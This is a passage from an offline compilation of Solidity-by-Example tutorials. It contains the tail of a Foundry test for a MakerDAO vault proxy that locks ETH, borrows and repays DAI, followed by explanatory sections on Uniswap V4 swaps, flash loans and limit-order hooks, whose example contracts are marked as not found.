        assertGe(DAI_AMOUNT * RAY, ilk.dust, "DAI borrow amount < dust");

        // Interest rate accumulator
        console2.log("ilk.rate", ilk.rate);
    }

    function print(address urnAddr) private {
        IVat.Urn memory urn = vat.urns(ETH_C, urnAddr);
        console2.log("--------------------");
        console2.log("vault collateral [wad]", urn.ink);
        console2.log("vault debt       [wad]", urn.art);
```

```
        console2.log("DAI in proxy     [wad]", dai.balanceOf(address(proxy)));
        console2.log("ETH in proxy     [wad]", address(proxy).balance);
    }

    function test_proxy() public {
        uint256 cdpId = proxy.cdpId();
        address urnAddr = cdpManager.urns(cdpId);

        console2.log("Before lock ETH");
        print(urnAddr);

        proxy.lockEth{value: ETH_AMOUNT}();
        console2.log("");
        console2.log("After lock ETH");
        print(urnAddr);

        proxy.borrow(DAI_AMOUNT);
        console2.log("");
        console2.log("After borrow DAI");
        print(urnAddr);

        proxy.repay(DAI_AMOUNT / 2);
        console2.log("");
        console2.log("After partial repay DAI");
        print(urnAddr);

        proxy.repayAll();
        console2.log("");
        console2.log("After repay all DAI");
        print(urnAddr);

        proxy.unlockEth(ETH_AMOUNT);
        console2.log("");
        console2.log("After unlock ETH");
        print(urnAddr);
    }
}

interface IVat {
    // Collateral type
    struct Ilk {
        uint256 Art; // Total normalized debt      [wad]
        uint256 rate; // Accumulated rates         [ray]
        uint256 spot; // Price with safety margin  [ray]
        uint256 line; // Debt ceiling              [rad]
        uint256 dust; // Urn debt floor            [rad]
    }

    // Vault
    struct Urn {
        uint256 ink; // Locked collateral  [wad]
        uint256 art; // Normalised debt    [wad]
    }

    function ilks(bytes32 ilk) external view returns (Ilk memory);
    function urns(bytes32 ilk, address user)
        external
        view
        returns (Urn memory);
}

interface ICdpManager {
    function urns(uint256 cdpId) external view returns (address urn);
```

```
}
```

7.19 Uniswap V4 Swap

Example of swapping tokens on Uniswap V4

Uniswap V4 introduces a singleton `PoolManager` that holds all pools in a single contract.

Key differences from V3:

- **Singleton architecture** - All pools live in one contract
- **Flash accounting** - Token transfers only happen at the end, reducing gas
- **unlock/unlockCallback pattern** - Interact via callbacks

To swap:

1. Call `poolManager.unlock()` with encoded parameters
2. PoolManager calls your `unlockCallback()`
3. Inside callback: execute swap, settle inputs, take outputs
4. Deltas must net to zero before unlock completes

```
// CONTRACT 'UniswapV4Swap' NOT FOUND IN REPO
```

7.20 Uniswap V4 Flash Loan

Example of flash loans on Uniswap V4

Uniswap V4 flash loans are **free** - no fees! This is possible due to flash accounting.

How it works:

1. Call `poolManager.unlock()` to start
2. In callback, call `poolManager.take()` to borrow tokens (creates a debt)
3. Use the tokens for arbitrage, liquidations, collateral swaps, etc.
4. Repay by transferring tokens back and calling `poolManager.settle()`
5. As long as deltas net to zero, the transaction succeeds

Unlike V3 which charged a fee on flash loans, V4's singleton architecture and flash accounting make borrowing essentially free - you only pay gas.

```
// CONTRACT 'UniswapV4Flash' NOT FOUND IN REPO
```

7.21 Uniswap V4 Limit Order

Example of a limit order hook for Uniswap V4

Uniswap V4 hooks allow custom logic to execute during the swap lifecycle. This example demonstrates a limit order hook using `afterSwap`.

How limit orders work with hooks:

1. Users call `placeLimitOrder()` specifying a tick (price) and direction
2. Tokens are held by the hook contract
3. When swaps move the price past the target tick, `afterSwap` is triggered
4. The hook detects filled orders and executes them
5. Users receive their swapped tokens

Key hook concepts:

- **Permissions** - `getHookPermissions()` declares which hooks you implement
- **Hook address** - Must have specific bits set based on permissions (use CREATE2)
- **Callbacks** - PoolManager calls your hook at each lifecycle point

```
// CONTRACT 'UniswapV4LimitOrder' NOT FOUND IN REPO
```

End of Document

> *Source: solidity-by-example.org | MIT License*

> *Compiled for offline study — all code is from the official open-source repository.*